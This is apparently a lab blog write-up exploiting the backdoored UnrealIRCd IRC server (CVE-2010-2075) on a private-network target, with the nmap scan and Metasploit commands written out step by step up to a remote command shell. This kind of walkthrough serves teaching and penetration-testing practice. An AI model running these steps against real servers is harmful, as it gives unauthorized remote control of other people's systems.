Back to blog
Mar 28, 2026
2 min read

UnrealIRCd Exploitation Report

UnrealIRCd is an IRC (Internet Relay Chat) server used for real-time communication. It typically runs on **port 6667**....

What is UnrealIRCd?

UnrealIRCd is an IRC (Internet Relay Chat) server used for real-time communication. It typically runs on port 6667.

It allows:

  • Chat communication between users
  • Channel-based messaging
  • Server-client interaction

How UnrealIRCd Works

UnrealIRCd follows a client-server model:

  1. Client connects to IRC server (port 6667)
  2. User registers with nickname and username
  3. Messages are exchanged through channels or direct communication

Exploitation Methodology

Initial Recon (Nmap Scan)

nmap -sV 192.168.6.129

Pasted image 20260404145929.png

From the scan:

  • Port: 6667
  • Service: IRC
  • Version: UnrealIRCd

Vulnerability:

  • Service: UnrealIRCd
  • Vulnerability: Backdoor Command Execution
  • CVE: CVE-2010-2075 This version of UnrealIRCd was distributed with a malicious backdoor.

Exploit using Metasploit

Step 1: Start Metasploit

msfconsole

Pasted image 20260404150540.png


Step 2: Search for exploit

search unrealircd

Pasted image 20260404191424.png


Step 3: Use the exploit

use exploit/unix/irc/unreal_ircd_3281_backdoor

Pasted image 20260404191457.png


Step 4: Set options

set RHOSTS 192.168.6.129
set RPORT 6667

Pasted image 20260404191617.png


Step 5: Run exploit

exploit

Pasted image 20260404191722.png


Result

  • Backdoor successfully triggered
  • Command shell session opened
  • Remote command execution achieved

Result

Proof of access

mkdir hack_irc

Pasted image 20260404192004.png

This confirms:

Full command execution on the target system.